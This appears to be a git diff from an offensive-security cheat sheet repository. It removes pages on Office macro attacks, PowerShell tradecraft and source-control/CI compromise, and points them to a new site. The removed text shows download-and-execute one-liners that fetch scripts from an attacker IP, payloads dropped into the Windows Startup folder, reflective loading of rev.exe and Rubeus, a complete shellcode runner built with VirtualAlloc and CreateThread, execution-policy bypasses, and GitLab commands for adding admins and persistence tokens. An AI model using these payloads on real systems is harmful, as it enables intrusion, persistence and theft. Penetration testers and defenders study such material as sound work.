* [Macros and more with sharpshooter v2.0 - mdsec](https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/)
* [Further evasion in the forgotten corners of ms xls - malware.pizza](https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/)
* [Excel 4.0 macro old but new - fsx30](https://medium.com/@fsx30/excel-4-0-macro-old-but-new-967071106be9)
* [XLS 4.0 macros and covenant - d-sec](https://d-sec.net/2020/10/24/xls-4-0-macros-and-covenant/)
* [Inject macro from a remote dotm template - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros)
* [Phishinh with OLE - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-ole-+-lnk)
* [Phishing SLK - ired.team](https://www.ired.team/offensive-security/initial-access/phishing-with-ms-office/phishing-.slk-excel)bypassing-malicious-macro-detections-by-defeating-child-parent-process-relationships)
* [PropertyBomb an old new technique for arbitrary code execution in vba macro - Leon Berlin - 22 May 2018](https://www.bitdam.com/2018/05/22/propertybomb-an-old-new-technique-for-arbitrary-code-execution-in-vba-macro/)
* [AMSI in the heap - rmdavy](https://secureyourit.co.uk/wp/2020/04/17/amsi-in-the-heap/)
* [WordAMSIBypass - rmdavy](https://github.com/rmdavy/WordAmsiBypass)
* [Dechaining macros and evading EDR - Noora Hyvärinen](https://blog.f-secure.com/dechaining-macros-and-evading-edr/)
* [Executing macros from docx with remote - RedXORBlueJuly 18, 2018](http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html)
* [One thousand and one ways to copy your shellcode to memory (VBA Macros) - X-C3LL - Feb 18, 2021](https://adepts.of0x.cc/alternatives-copy-shellcode/)
* [Running macros via ActiveX controls - greyhathacker - September 29, 2016](http://www.greyhathacker.net/?p=948)
* [Anti-Analysis Techniques Used in Excel 4.0 Macros - 24 March 2021 - @Jacob_Pimental](https://www.goggleheadedhacker.com/blog/post/23)
* [So you think you can block Macros? - Pieter Ceelen - April 25, 2023](https://outflank.nl/blog/2023/04/25/so-you-think-you-can-block-macros/)
:warning: Content of this page has been moved to [InternalAllTheThings/redteam/access/office-attacks](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/)
* [Office Products Features](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-products-features)
* [Office Default Passwords](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-default-passwords)
* [Office Macro execute WinAPI](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#office-macro-execute-winapi)
* [Excel](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#excel)
* [XLSM - Hot Manchego](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlsm---hot-manchego)
* [XLS - Macrome](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xls---macrome)
* [XLM Excel 4.0 - SharpShooter](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---sharpshooter)
* [XLM Excel 4.0 - EXCELntDonut](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---excelntdonut)
* [XLM Excel 4.0 - EXEC](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#xlm-excel-40---exec)
* [SLK - EXEC](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#slk---exec)
* [Word](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#word)
* [DOCM - Metasploit](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---metasploit)
* [DOCM - Download and Execute](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---download-and-execute)
* [DOCM - Macro Creator](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---macro-creator)
* [DOCM - C# converted to Office VBA macro](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---c-converted-to-office-vba-macro)
* [DOCM - VBA Wscript](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-wscript)
* [DOCM - VBA Shell Execute Comment](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-shell-execute-comment)
* [DOCM - VBA Spawning via svchost.exe using Scheduled Task](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---vba-spawning-via-svchostexe-using-scheduled-task)
* [DCOM - WMI COM functions (VBA AMSI)](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---wmi-com-functions)
* [DOCM - winmgmts](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---winmgmts)
* [DOCM - Macro Pack - Macro and DDE](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docmxlm---macro-pack---macro-and-dde)
* [DOCM - BadAssMacros](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---badassmacros)
* [DOCM - CACTUSTORCH VBA Module](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---cactustorch-vba-module)
* [DOCM - MMG with Custom DL + Exec](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docm---mmg-with-custom-dl--exec)
* [VBA Obfuscation](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-obfuscation)
* [VBA Purging](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-purging)
* [OfficePurge](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#officepurge)
* [EvilClippy](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#evilclippy)
* [VBA AMSI](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba-amsi)
* [VBA - Offensive Security Template](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#vba---offensive-security-template)
* [DOCX - Template Injection](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docx---template-injection)
* [DOCX - DDE](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#docx---dde)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/redteam/access/office-attacks/#references)

View File

@ -1,333 +1,17 @@
# Powershell
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/powershell](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/)
- [Powershell](#powershell)
- [Summary](#summary)
- [Execution Policy](#execution-policy)
- [Encoded Commands](#encoded-commands)
- [Constrained Mode](#constrained-mode)
- [Encoded Commands](#encoded-commands)
- [Download file](#download-file)
- [Load Powershell scripts](#load-powershell-scripts)
- [Load C# assembly reflectively](#load-c-assembly-reflectively)
- [Call Win API using delegate functions with Reflection](#call-win-api-using-delegate-functions-with-reflection)
- [Resolve address functions](#resolve-address-functions)
- [DelegateType Reflection](#delegatetype-reflection)
- [Example with a simple shellcode runner](#example-with-a-simple-shellcode-runner)
- [Secure String to Plaintext](#secure-string-to-plaintext)
- [References](#references)
## Execution Policy
```ps1
powershell -EncodedCommand $encodedCommand
powershell -ep bypass ./PowerView.ps1
# Change execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
Set-ExecutionPolicy Bypass -Scope Process
```
## Constrained Mode
```ps1
# Check if we are in a constrained mode
# Values could be: FullLanguage or ConstrainedLanguage
$ExecutionContext.SessionState.LanguageMode
## Bypass
powershell -version 2
```
## Encoded Commands
* Windows
```ps1
$command = 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
```
* Linux: :warning: UTF-16LE encoding is required
```ps1
echo 'IEX (New-Object Net.WebClient).DownloadString("http://10.10.10.10/PowerView.ps1")' | iconv -t utf-16le | base64 -w 0
```
## Download file
```ps1
# Any version
(New-Object System.Net.WebClient).DownloadFile("http://10.10.10.10/PowerView.ps1", "C:\Windows\Temp\PowerView.ps1")
wget "http://10.10.10.10/taskkill.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
Import-Module BitsTransfer; Start-BitsTransfer -Source $url -Destination $output
# Powershell 4+
IWR "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
Invoke-WebRequest "http://10.10.10.10/binary.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\binary.exe"
```
## Load Powershell scripts
```ps1
# Proxy-aware
IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1')
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/PowerView.ps1') | powershell -noprofile -
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.10.10/PowerView.ps1')|iex"
# Non-proxy aware
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.10.10/PowerView.ps1',$false);$h.send();iex $h.responseText
```
## Load C# assembly reflectively
```powershell
# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()
# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())
# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)
```
## Call Win API using delegate functions with Reflection
### Resolve address functions
To perform reflection we first need to obtain `GetModuleHandle` and `GetProcAdresse` to be able to lookup of Win32 API function addresses.
To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.
```powershell
# Retrieve all loaded Assemblies
$Assemblies = [AppDomain]::CurrentDomain.GetAssemblies()
Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods
$Assemblies |
ForEach-Object {
$_.GetTypes()|
ForEach-Object {
$_ | Get-Member -Static| Where-Object {
$_.TypeName.Contains('Unsafe')
}
} 2> $nul l
```
We want to find where the Assemblies are located, so we will use the statement `Location`. Then we will look for all the methods inside the Assembly `Microsoft.Win32.UnsafeNativeMethods`
TBN: `GetModuleHandle` and `GetProcAddress` are located in `C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll`
If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property `GlobalAssemblyCache` set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the `System.dll`.
```powershell
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
})
$unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
```
To retrieve the method `GetModuleHandle`, we can use the method `GetMethod(<METHOD_NAME>)` to retrieve it.
`$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')`
Now we can use the `Invoke` method of our object `$GetModuleHandle` to get a reference of an unmanaged DLL.
Invoke takes two arguments and both are objects:
* The first argument is the object to invoke it on but since we use it on a static method we may set it to "$null".
* The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that.
`$GetModuleHandle.Invoke($null, @("user32.dll"))`
However, we want to use the same method to use the function `GetProcAddress`, it won't work due to the fact that our `System.dll` object retrieved contains multiple occurences of the method `GetProcAddress`. Therefore the internal method `GetMethod()` will throw an error `"Ambiguous match found."`.
Therefore we will use the method `GetMethods()` to get all the available methods and then iterate over them to retrieve only those we want.
```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
```
If we want to get the `GetProcAddress` reference, we will construct an array to store our matching object and use the first entry.
```powershell
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
```
We need to take the first one, because the arguments type of the second one does not match with ours.
Alternatively we can use `GetMethod` function to precise the argument types that we want.
```powershell
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress',
[reflection.bindingflags]'Public,Static',
$null,
[System.Reflection.CallingConventions]::Any,
@([System.IntPtr], [string]),
$null);
```
cf: [https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0](https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0)
Now we have everything to resolve any function address we want.
```powershell
$user32 = $GetModuleHandle.Invoke($null, @("user32.dll"))
$tmp=@()
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
$GetProcAddress = $tmp[0]
$GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))
```
If we put everything in a function:
```powershell
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
```
### DelegateType Reflection
To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through `DelegateType`.
The DelegateType Reflection consists in manually create an assembly in memory and populate it with content.
The first step is to create a new assembly with the class `AssemblyName` and assign it a name.
```powershell
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
```
Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method `DefineDynamicAssembly` will be used.
```powershell
$Domain = [AppDomain]::CurrentDomain
$MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
```
Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method `DefineDynamicModule`
The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not.
```powershell
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
```
The next step consists by creating a custom type that will become our delegate type. It can be done with the method `DefineType`.
The arguments are:
* a custom name
* the attributes of the type
* the type it build on top of
```powershell
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
```
Then we will need to set the prototype of our function.
First we need to use the method `DefineConstructor` to define a constructor. The method takes three arguments:
* the attributes of the constructor
* calling convention
* the parameter types of the constructor that will become the function prototype
```powershell
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard,
@([IntPtr], [String], [String], [int]))
```
Then we need to set some implementation flags with the method `SetImplementationFlags`.
```powershell
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
```
To be able to call our function, we need to define the `Invoke` method in our delegate type. For that the method `DefineMethod` allows us to do that.
The method takes four arguments:
* name of the method defined
* method attributes
* return type
* array of argument types
```powershell
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke',
'Public, HideBySig, NewSlot, Virtual',
[int],
@([IntPtr], [String], [String], [int]))
```
If we put everything in a function:
```powershell
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
[Parameter(Position = 2)] [Type] $retType = [Void] # Return type
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
```
### Example with a simple shellcode runner
```powershell
# Create a Delegate function to be able to call the function that we have the address
function Get-Delegate
{
Param (
[Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address
[Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types
[Parameter(Position = 2)] [Type] $retType = [Void] # Return type
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('QM', $false).
DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed')
$delegate = $type.CreateType()
return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate)
}
# Allow to retrieve function address from a dll
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
}
# Simple Shellcode runner using delegation
$VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc"
$CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread"
$WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject"
$VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int])
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ...
$mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length)
$hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero)
$WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF)
```
## Secure String to Plaintext
```ps1
$pass = "01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692" | convertto-securestring
$user = "HTB\Tom"
$cred = New-Object System.management.Automation.PSCredential($user, $pass)
$cred.GetNetworkCredential() | fl
UserName : Tom
Password : 1ts-mag1c!!!
SecurePassword : System.Security.SecureString
Domain : HTB
```
## References
* [Windows & Active Directory Exploitation Cheat Sheet and Command Reference - @chvancooten](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/)
* [Basic PowerShell for Pentesters - HackTricks](https://book.hacktricks.xyz/windows/basic-powershell-for-pentesters)
- [Execution Policy](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#execution-policy)
- [Encoded Commands](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#encoded-commands)
- [Constrained Mode](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#constrained-mode)
- [Encoded Commands](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#encoded-commands)
- [Download file](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#download-file)
- [Load Powershell scripts](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#load-powershell-scripts)
- [Load Chttps://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/# assembly reflectively](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#load-c-assembly-reflectively)
- [Call Win API using delegate functions with Reflection](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#call-win-api-using-delegate-functions-with-reflection)
- [Resolve address functions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#resolve-address-functions)
- [DelegateType Reflection](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#delegatetype-reflection)
- [Example with a simple shellcode runner](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#example-with-a-simple-shellcode-runner)
- [Secure String to Plaintext](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#secure-string-to-plaintext)
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/powershell-cheatsheet/#references)

File diff suppressed because one or more lines are too long

View File

@ -1,133 +1,9 @@
# Source Code Management & CI/CD Compromise
>
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/source-code-management-ci](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/)
## Summary
* [Tools](#tools)
* [Enumerate repositories files and secrets](#enumerate-repositories-files-and-secrets)
* [Personal Access Token](#personal-access-token)
* [Gitlab CI/Github Actions](#gitlab-cigithub-actions)
* [References](#references)
## Tools
* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - List the secrets stored inside CI/CD environments and extract them by deploying malicious pipelines
* [xforcered/SCMKit](https://github.com/xforcered/SCMKit) - Source Code Management Attack Toolkit
## Enumerate repositories files and secrets
Using [SCMKit - Source Code Management Attack Toolkit](https://github.com/xforcered/SCMKit)
* Discover repositories being used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m listrepo -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrepo -c apiKey -u https://gitlab.something.local
```
* Search for repositories by repository name in a particular SCM system
```ps1
SCMKit.exe -s github -m searchrepo -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchrepo -c apikey -u https://gitlab.something.local -o "some search term"
```
* Search for code containing a given keyword in a particular SCM system
```ps1
SCMKit.exe -s github -m searchcode -c userName:password -u https://github.something.local -o "some search term"
SCMKit.exe -s github -m searchcode -c apikey -u https://github.something.local -o "some search term"
```
* Search for files in repositories containing a given keyword in the file name in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m searchfile -c userName:password -u https://gitlab.something.local -o "some search term"
SCMKit.exe -s gitlab -m searchfile -c apikey -u https://gitlab.something.local -o "some search term"
```
* List snippets owned by the current user in GitLab
```ps1
SCMKit.exe -s gitlab -m listsnippet -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listsnippet -c apikey -u https://gitlab.something.local
```
* List all GitLab runners available to the current user in GitLab
```ps1
SCMKit.exe -s gitlab -m listrunner -c userName:password -u https://gitlab.something.local
SCMKit.exe -s gitlab -m listrunner -c apikey -u https://gitlab.something.local
```
* Get the assigned privileges to an access token being used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m privs -c apiKey -u https://gitlab.something.local
```
* Promote a normal user to an administrative role in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m addadmin -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m addadmin -c apikey -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removeadmin -c userName:password -u https://gitlab.something.local -o targetUserName
```
* Create/List/Delete an access token to be used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m createpat -c userName:password -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m createpat -c apikey -u https://gitlab.something.local -o targetUserName
SCMKit.exe -s gitlab -m removepat -c userName:password -u https://gitlab.something.local -o patID
SCMKit.exe -s gitlab -m listpat -c userName:password -u https://gitlab.something.local -o targetUser
SCMKit.exe -s gitlab -m listpat -c apikey -u https://gitlab.something.local -o targetUser
```
* Create/List an SSH key to be used in a particular SCM system
```ps1
SCMKit.exe -s gitlab -m createsshkey -c userName:password -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m createsshkey -c apiToken -u https://gitlab.something.local -o "ssh public key"
SCMKit.exe -s gitlab -m listsshkey -c userName:password -u https://github.something.local
SCMKit.exe -s gitlab -m listsshkey -c apiToken -u https://github.something.local
SCMKit.exe -s gitlab -m removesshkey -c userName:password -u https://gitlab.something.local -o sshKeyID
SCMKit.exe -s gitlab -m removesshkey -c apiToken -u https://gitlab.something.local -o sshKeyID
```
## Personal Access Token
Create a PAT (Personal Access Token) as a persistence mechanism for the Gitlab instance.
```ps1
curl -k --request POST --header "PRIVATE-TOKEN: apiToken" --data "name=user-persistence-token" --data "expires_at=" --data "scopes[]=api" --data "scopes[]=read_repository" --data "scopes[]=write_repository" "https://gitlabHost/api/v4/users/UserIDNumber/personal_access_tokens"
```
## Gitlab CI/Github Actions
* Gitlab-CI "Command Execution" example: `.gitlab-ci.yml`
```yaml
stages:
- test
test:
stage: test
script:
- |
whoami
parallel:
matrix:
- RUNNER: VM1
- RUNNER: VM2
- RUNNER: VM3
tags:
- ${RUNNER}
```
* Github Action "Command Execution" example: `.github/workflows/example.yml`
```yml
name: example
on:
workflow_dispatch:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
build:
runs-on: windows-2019
steps:
- name: Execute
run: |
whoami
```
## References
* [Controlling the Source: Abusing Source Code Management Systems - Brett Hawkins - August 9, 2022](https://securityintelligence.com/posts/abusing-source-code-management-systems/)
* [CI/CD SECRETS EXTRACTION, TIPS AND TRICKS - Hugo Vincent, Théo Louis-Tisserand - 01/03/2023](https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks.html)
* [Tools](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#tools)
* [Enumerate repositories files and secrets](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#enumerate-repositories-files-and-secrets)
* [Personal Access Token](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#personal-access-token)
* [Gitlab CI/Github Actions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#gitlab-cigithub-actions)
* [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#references)

View File

@ -1,6 +1,6 @@
# Subdomains Enumeration
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/cloud/azure](https://github.com/swisskyrepo/InternalAllTheThings/)
* [Enumerate all subdomains](#enumerate-all-subdomains-only-if-the-scope-is-domainext)
* Subbrute

View File

@ -1,52 +1,9 @@
# Vulnerability Reports
## Summary
:warning: Content of this page has been moved to [InternalAllTheThings/methodology/vulnerability-reports](https://swisskyrepo.github.io/InternalAllTheThings/methodology/vulnerability-reports/)
* [Tools](#tools)
* [Vulnerability Report Structure](#vulnerability-report-structure)
* [Vulnerability Details Structure](#vulnerability-details-structure)
* [General Guidelines](#general-guidelines)
* [References](#references)
## Tools
Tools to help you collaborate and generate your reports.
* [GhostManager/Ghostwriter](https://github.com/GhostManager/Ghostwriter) - The SpecterOps project management and reporting engine
* [pwndoc/pwndoc](https://github.com/pwndoc/pwndoc) - Pentest Report Generator
List of penetration test reports and templates.
* [reconmap/pentest-reports](https://github.com/reconmap/pentest-reports) - Collection of penetration test reports and pentest report templates
* [juliocesarfort/public-pentesting-reports](https://github.com/juliocesarfort/public-pentesting-reports) - A list of public penetration test reports published by several consulting firms and academic security groups.
## Vulnerability Report Structure
* Executive Summary
* Security Findings and Recommendations
* Vulnerabilities (sorted by severity)
* Appendix (optional)
## Vulnerability Details Structure
* **Summary**: a concise introduction to the vulnerability, providing a snapshot of the issue and its potential reach..
* **Impact**: detailed insights into the potential business ramifications that could arise from exploiting this vulnerability.
* **Reproductions Steps**: a comprehensive, step-by-step walkthrough on how to replicate the issue,, complete with screenshots, HTTP requests or Proof of Concept code snippets.
* **Recommendations**: suggestions and best practices for addressing and resolving the highlighted issue.
* **References**: links to external content, documentation, and security guidelines, including resources like OWASP.
* **Severity**: Include a severity score like CVSS.
## General Guidelines
* Use a **Passive Voice Form**.
